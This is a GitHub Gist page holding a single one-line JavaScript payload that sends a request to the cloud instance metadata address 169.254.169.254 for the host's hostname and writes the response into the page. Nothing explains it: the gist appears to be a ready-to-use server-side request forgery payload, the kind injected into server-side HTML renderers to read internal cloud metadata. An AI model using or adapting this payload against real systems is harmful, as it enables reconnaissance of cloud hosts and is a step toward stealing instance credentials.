Skip to content

Instantly share code, notes, and snippets.

@rv0x00
Last active July 24, 2022 13:30
Show Gist options
  • Save rv0x00/b6fc7e724461b0c9cf06f31f68b62b8d to your computer and use it in GitHub Desktop.
Save rv0x00/b6fc7e724461b0c9cf06f31f68b62b8d to your computer and use it in GitHub Desktop.
x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open(‘GET’,’http://169.254.169.254/latest/meta-data/hostname’);x.send();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment